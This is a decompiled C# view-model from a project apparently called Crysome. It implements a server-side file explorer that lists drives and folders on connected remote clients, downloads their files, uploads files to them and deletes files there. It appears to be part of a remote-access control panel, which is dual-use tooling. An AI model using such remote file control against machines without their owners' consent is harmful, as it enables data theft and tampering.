Files
crysome/Crysome.Server/Crysome.Server.ViewModel/FileExplorerViewModel.cs
T
2026-08-27 11:22:54 -06:00

561 lines
17 KiB
C#

using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Windows;
using System.Windows.Data;
using System.Windows.Input;
using System.Windows.Threading;
using Crysome.Common.Model;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;
using Crysome.Server.Model;
using Crysome.Server.Network;
using Microsoft.Win32;
namespace Crysome.Server.ViewModel;
public class FileExplorerViewModel : ViewModelBase, IDisposable
{
private bool _downloadProgressVisible;
private string _downloadStatusText;
private double _downloadProgress;
private string _pendingDownloadSavePath;
private Stopwatch _downloadStopwatch;
private readonly MainViewModel _mainVm;
private bool _disposed;
private string[] _drives;
private FileSystemEntry _currentDirectory;
private FileSystemEntry _selectedFile;
private string _sortMode = "Name";
public bool DownloadProgressVisible
{
get
{
return _downloadProgressVisible;
}
set
{
_downloadProgressVisible = value;
OnPropertyChanged(() => DownloadProgressVisible);
}
}
public string DownloadStatusText
{
get
{
return _downloadStatusText;
}
set
{
_downloadStatusText = value;
OnPropertyChanged(() => DownloadStatusText);
}
}
public double DownloadProgress
{
get
{
return _downloadProgress;
}
set
{
_downloadProgress = value;
OnPropertyChanged(() => DownloadProgress);
}
}
public ObservableCollection<FileSystemEntry> Files { get; set; }
public ICollectionView FilesView { get; private set; }
public Stack<FileSystemEntry> BackHistory { get; set; }
public Stack<FileSystemEntry> ForwardHistory { get; set; }
public bool CanGoBackward => BackHistory.Count > 0;
public bool CanGoForward => ForwardHistory.Count > 0;
public string[] Drives
{
get
{
return _drives;
}
set
{
_drives = value;
OnPropertyChanged(() => Drives);
}
}
public FileSystemEntry CurrentDirectory
{
get
{
return _currentDirectory;
}
set
{
_currentDirectory = value;
OnPropertyChanged(() => CurrentDirectory);
}
}
public FileSystemEntry SelectedFile
{
get
{
return _selectedFile;
}
set
{
_selectedFile = value;
OnPropertyChanged(() => _selectedFile);
}
}
public string SortMode
{
get
{
return _sortMode;
}
set
{
_sortMode = value ?? "Name";
OnPropertyChanged(() => SortMode);
ApplySort();
}
}
public string[] SortOptions { get; } = new string[4] { "Name", "DateModified", "Size", "Type" };
public ICommand NavigateCommand { get; set; }
public ICommand NavigateSelectedCommand { get; set; }
public ICommand OpenCommand { get; set; }
public ICommand SaveAsCommand { get; set; }
public ICommand UploadCommand { get; set; }
public ICommand PropertiesCommand { get; set; }
public ICommand NavigateUpCommand { get; set; }
public ICommand NavigateForwardCommand { get; set; }
public ICommand NavigateBackCommand { get; set; }
public ICommand DeleteFileCommand { get; set; }
public ClientInfo Client { get; set; }
public ICommand GoBackToClientsCommand { get; set; }
public FileExplorerViewModel(CrysomeServer server, ClientInfo client, MainViewModel mainVm)
{
//IL_00ff: Unknown result type (might be due to invalid IL or missing references)
//IL_0109: Expected O, but got Unknown
//IL_0143: Unknown result type (might be due to invalid IL or missing references)
//IL_0148: Unknown result type (might be due to invalid IL or missing references)
//IL_0154: Expected O, but got Unknown
FileExplorerViewModel fileExplorerViewModel = this;
_mainVm = mainVm;
Files = new ObservableCollection<FileSystemEntry>();
FilesView = CollectionViewSource.GetDefaultView(Files);
ApplySort();
BackHistory = new Stack<FileSystemEntry>();
ForwardHistory = new Stack<FileSystemEntry>();
Client = client;
_mainVm.ClientsVM.RegisterActiveFileExplorer(client.Owner, this);
if (server.ClientCount > 0)
{
long num = _mainVm.ClientsVM.NextExplorerOpId();
_mainVm.ClientsVM.RegisterGetDirectoryCallback(client.Owner, num, delegate(GetDirectoryResponsePacket p)
{
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
{
fileExplorerViewModel.ApplyGetDirectoryResponse(p);
});
});
client.Owner.SendPacket((IPacket)new GetDirectoryRequestPacket(string.Empty, num));
long requestId = _mainVm.ClientsVM.NextExplorerOpId();
_mainVm.ClientsVM.RegisterGetDrivesCallback(client.Owner, requestId, delegate(GetDrivesResponsePacket p)
{
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
{
fileExplorerViewModel.ApplyGetDrivesResponse(p);
});
});
client.Owner.SendPacket((IPacket)new GetDrivesRequestPacket
{
RequestId = requestId
});
}
NavigateCommand = new RelayCommand<string>(NavigateWithHistory);
NavigateSelectedCommand = new RelayCommand<string>(NavigateSelected);
OpenCommand = new RelayCommand<string>(OpenSelected);
SaveAsCommand = new RelayCommand<string>(SaveAsSelected);
UploadCommand = new RelayCommand<string>(delegate
{
fileExplorerViewModel.UploadFile();
});
PropertiesCommand = new RelayCommand<string>(ShowProperties);
NavigateUpCommand = new RelayCommand<string>(NavigateUp);
NavigateForwardCommand = new RelayCommand<string>(NavigateForward);
NavigateBackCommand = new RelayCommand<string>(NavigateBack);
DeleteFileCommand = new RelayCommand<string>(DeleteFile);
GoBackToClientsCommand = new RelayCommand<string>(delegate
{
mainVm.GoToClients();
});
}
public void Dispose()
{
if (!_disposed)
{
_disposed = true;
if (Client?.Owner != null)
{
_mainVm.ClientsVM.UnregisterActiveFileExplorer(Client.Owner, this);
}
}
}
private void ApplySort()
{
//IL_0066: Unknown result type (might be due to invalid IL or missing references)
//IL_0083: Unknown result type (might be due to invalid IL or missing references)
//IL_00a0: Unknown result type (might be due to invalid IL or missing references)
//IL_00bb: Unknown result type (might be due to invalid IL or missing references)
//IL_00d8: Unknown result type (might be due to invalid IL or missing references)
if (FilesView == null)
{
return;
}
using (FilesView.DeferRefresh())
{
((Collection<SortDescription>)(object)FilesView.SortDescriptions).Clear();
switch (SortMode)
{
case "DateModified":
((Collection<SortDescription>)(object)FilesView.SortDescriptions).Add(new SortDescription("LastWriteUtcTicks", ListSortDirection.Descending));
break;
case "Size":
((Collection<SortDescription>)(object)FilesView.SortDescriptions).Add(new SortDescription("Size", ListSortDirection.Descending));
break;
case "Type":
((Collection<SortDescription>)(object)FilesView.SortDescriptions).Add(new SortDescription("Type", ListSortDirection.Ascending));
((Collection<SortDescription>)(object)FilesView.SortDescriptions).Add(new SortDescription("Name", ListSortDirection.Ascending));
break;
default:
((Collection<SortDescription>)(object)FilesView.SortDescriptions).Add(new SortDescription("Name", ListSortDirection.Ascending));
break;
}
}
}
public void ApplyGetDirectoryResponse(GetDirectoryResponsePacket directoryResponse)
{
//IL_001e: Unknown result type (might be due to invalid IL or missing references)
//IL_0028: Expected O, but got Unknown
//IL_0109: Unknown result type (might be due to invalid IL or missing references)
//IL_0113: Expected O, but got Unknown
//IL_01a6: Unknown result type (might be due to invalid IL or missing references)
//IL_01b0: Expected O, but got Unknown
Files.Clear();
CurrentDirectory = new FileSystemEntry(directoryResponse.Name, directoryResponse.Path, 0L, (FileType)0, 0L, (byte[])null);
OnPropertyChanged(() => CanGoBackward);
OnPropertyChanged(() => CanGoForward);
string[] folders = directoryResponse.Folders;
int num = ((folders != null) ? folders.Length : 0);
long[] folderLastWriteUtcTicks = directoryResponse.FolderLastWriteUtcTicks;
byte[][] folderIconPng = directoryResponse.FolderIconPng;
for (int num2 = 0; num2 < num; num2++)
{
long num3 = ((folderLastWriteUtcTicks != null && num2 < folderLastWriteUtcTicks.Length) ? folderLastWriteUtcTicks[num2] : 0);
byte[] array = ((folderIconPng != null && num2 < folderIconPng.Length) ? folderIconPng[num2] : null);
Files.Add(new FileSystemEntry(directoryResponse.Folders[num2], Path.Combine(CurrentDirectory.Path, directoryResponse.Folders[num2]), 0L, (FileType)0, num3, array));
}
string[] files = directoryResponse.Files;
int num4 = ((files != null) ? files.Length : 0);
long[] fileLastWriteUtcTicks = directoryResponse.FileLastWriteUtcTicks;
byte[][] fileIconPng = directoryResponse.FileIconPng;
for (int num5 = 0; num5 < num4; num5++)
{
long num6 = ((fileLastWriteUtcTicks != null && num5 < fileLastWriteUtcTicks.Length) ? fileLastWriteUtcTicks[num5] : 0);
byte[] array2 = ((fileIconPng != null && num5 < fileIconPng.Length) ? fileIconPng[num5] : null);
Files.Add(new FileSystemEntry(directoryResponse.Files[num5], Path.Combine(CurrentDirectory.Path, directoryResponse.Files[num5]), directoryResponse.FileSizes[num5], (FileType)1, num6, array2));
}
ApplySort();
}
public void ApplyGetDrivesResponse(GetDrivesResponsePacket getDrivesPacket)
{
Drives = getDrivesPacket.Drives;
}
public void ApplyNotifyStatus(NotifyStatusResponsePacket statusPacket)
{
_mainVm.ClientsVM?.EnqueueStatus(statusPacket.StatusMessage);
}
private void Navigate(string path)
{
//IL_0046: Unknown result type (might be due to invalid IL or missing references)
//IL_0050: Expected O, but got Unknown
long num = _mainVm.ClientsVM.NextExplorerOpId();
_mainVm.ClientsVM.RegisterGetDirectoryCallback(Client.Owner, num, delegate(GetDirectoryResponsePacket p)
{
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
{
ApplyGetDirectoryResponse(p);
});
});
Client.Owner.SendPacket((IPacket)new GetDirectoryRequestPacket(path, num));
}
private void NavigateWithHistory(string path)
{
if (CurrentDirectory != null && path != CurrentDirectory.Path)
{
BackHistory.Push(CurrentDirectory);
}
Navigate(path);
}
private void NavigateSelected(string s)
{
//IL_000e: Unknown result type (might be due to invalid IL or missing references)
if (SelectedFile != null && (int)SelectedFile.Type == 0)
{
NavigateWithHistory(SelectedFile.Path);
}
}
private void NavigateUp(string s)
{
NavigateWithHistory(Path.Combine(CurrentDirectory.Path, ".."));
}
private void NavigateForward(string s)
{
BackHistory.Push(CurrentDirectory);
FileSystemEntry val = ForwardHistory.Pop();
Navigate(val.Path);
}
private void NavigateBack(string s)
{
ForwardHistory.Push(CurrentDirectory);
FileSystemEntry val = BackHistory.Pop();
Navigate(val.Path);
}
private void DeleteFile(string s)
{
//IL_0046: Unknown result type (might be due to invalid IL or missing references)
//IL_0050: Expected O, but got Unknown
if (SelectedFile != null)
{
FileSystemEntry selectedFile = SelectedFile;
if (MessageBox.Show("Delete " + selectedFile.Name + "?", "Confirm", MessageBoxButton.YesNo, MessageBoxImage.Question) == MessageBoxResult.Yes)
{
Client.Owner.SendPacket((IPacket)new DeleteFileRequestPacket(selectedFile.Path));
_mainVm.ClientsVM?.EnqueueStatus("Delete sent for " + selectedFile.Name);
}
}
}
private void OpenSelected(string s)
{
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
if (SelectedFile != null && (int)SelectedFile.Type == 0)
{
NavigateWithHistory(SelectedFile.Path);
}
}
private void SaveAsSelected(string s)
{
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
//IL_0104: Unknown result type (might be due to invalid IL or missing references)
//IL_010e: Expected O, but got Unknown
if (SelectedFile == null)
{
return;
}
if ((int)SelectedFile.Type == 0)
{
_mainVm.ClientsVM?.EnqueueStatus("Select a file to download.");
return;
}
SaveFileDialog saveFileDialog = new SaveFileDialog
{
FileName = SelectedFile.Name,
Filter = "All files|*.*",
DefaultExt = Path.GetExtension(SelectedFile.Name)
};
if (saveFileDialog.ShowDialog() != true)
{
return;
}
string fileName = saveFileDialog.FileName;
_pendingDownloadSavePath = fileName;
DownloadProgressVisible = true;
DownloadProgress = 0.0;
DownloadStatusText = "Downloading...";
_downloadStopwatch = Stopwatch.StartNew();
long num = _mainVm.ClientsVM.NextExplorerOpId();
_mainVm.ClientsVM.RegisterReadFileCallback(Client.Owner, num, delegate(ReadFileResponsePacket resp)
{
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
{
CompleteDownloadSave(resp);
});
});
Client.Owner.SendPacket((IPacket)new ReadFileRequestPacket(SelectedFile.Path, num));
}
private void CompleteDownloadSave(ReadFileResponsePacket resp)
{
string pendingDownloadSavePath = _pendingDownloadSavePath;
_pendingDownloadSavePath = null;
try
{
if (resp.Success && resp.Data != null)
{
File.WriteAllBytes(pendingDownloadSavePath, resp.Data);
TimeSpan timeSpan = _downloadStopwatch?.Elapsed ?? TimeSpan.Zero;
_mainVm.ClientsVM?.EnqueueStatus($"Saved to {pendingDownloadSavePath} ({resp.Data.Length / 1024} KB in {timeSpan.TotalSeconds:F1}s)");
}
else
{
_mainVm.ClientsVM?.EnqueueStatus("Download failed: " + (((resp != null) ? resp.ErrorMessage : null) ?? "Unknown error"));
}
}
catch (Exception ex)
{
_mainVm.ClientsVM?.EnqueueStatus("Save failed: " + ex.Message);
}
DownloadProgressVisible = false;
DownloadStatusText = "";
}
private void UploadFile()
{
//IL_0175: Unknown result type (might be due to invalid IL or missing references)
//IL_017a: Unknown result type (might be due to invalid IL or missing references)
//IL_0182: Unknown result type (might be due to invalid IL or missing references)
//IL_018a: Unknown result type (might be due to invalid IL or missing references)
//IL_0196: Expected O, but got Unknown
if (CurrentDirectory == null)
{
return;
}
OpenFileDialog openFileDialog = new OpenFileDialog
{
Filter = "All files|*.*"
};
if (openFileDialog.ShowDialog() != true)
{
return;
}
byte[] array;
try
{
array = File.ReadAllBytes(openFileDialog.FileName);
}
catch (Exception ex)
{
_mainVm.ClientsVM?.EnqueueStatus("Upload read error: " + ex.Message);
return;
}
long num = (long)_mainVm.ClientsVM.Store.Settings.MaxSendFileSizeMB * 1024L * 1024;
if (num > 0 && array.Length > num)
{
_mainVm.ClientsVM?.EnqueueStatus("File too large (limit " + _mainVm.ClientsVM.Store.Settings.MaxSendFileSizeMB + " MB)");
return;
}
string name = Path.GetFileName(openFileDialog.FileName);
string destPath = Path.Combine(CurrentDirectory.Path, name);
long transferId = _mainVm.ClientsVM.NextExplorerOpId();
DownloadProgressVisible = true;
DownloadStatusText = "Uploading...";
_mainVm.ClientsVM.RegisterWriteFileCallback(Client.Owner, transferId, delegate(WriteFileResponsePacket resp)
{
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
{
DownloadProgressVisible = false;
DownloadStatusText = "";
if (resp.Success)
{
_mainVm.ClientsVM?.EnqueueStatus("Uploaded " + name);
Navigate(CurrentDirectory.Path);
}
else
{
_mainVm.ClientsVM?.EnqueueStatus("Upload failed: " + (resp.ErrorMessage ?? "?"));
}
});
});
Client.Owner.SendPacket((IPacket)new WriteFileRequestPacket
{
DestPath = destPath,
TransferId = transferId,
Data = array
});
}
private void ShowProperties(string s)
{
//IL_0011: Unknown result type (might be due to invalid IL or missing references)
//IL_00a9: Unknown result type (might be due to invalid IL or missing references)
if (SelectedFile != null)
{
FileSystemEntry selectedFile = SelectedFile;
string value = (((int)selectedFile.Type == 0) ? "—" : FormatFileSize(selectedFile.Size));
string value2 = ((selectedFile.LastWriteUtcTicks > 0) ? new DateTime(selectedFile.LastWriteUtcTicks, DateTimeKind.Utc).ToLocalTime().ToString("yyyy-MM-dd HH:mm") : "—");
MessageBox.Show($"Name: {selectedFile.Name}\nPath: {selectedFile.Path}\nType: {selectedFile.Type}\nSize: {value}\nModified: {value2}", "Properties", MessageBoxButton.OK, MessageBoxImage.Asterisk);
}
}
private static string FormatFileSize(long bytes)
{
if (bytes < 1024)
{
return bytes + " B";
}
if (bytes < 1048576)
{
return ((double)bytes / 1024.0).ToString("F1") + " KB";
}
if (bytes < 1073741824)
{
return ((double)bytes / 1048576.0).ToString("F1") + " MB";
}
return ((double)bytes / 1073741824.0).ToString("F1") + " GB";
}
}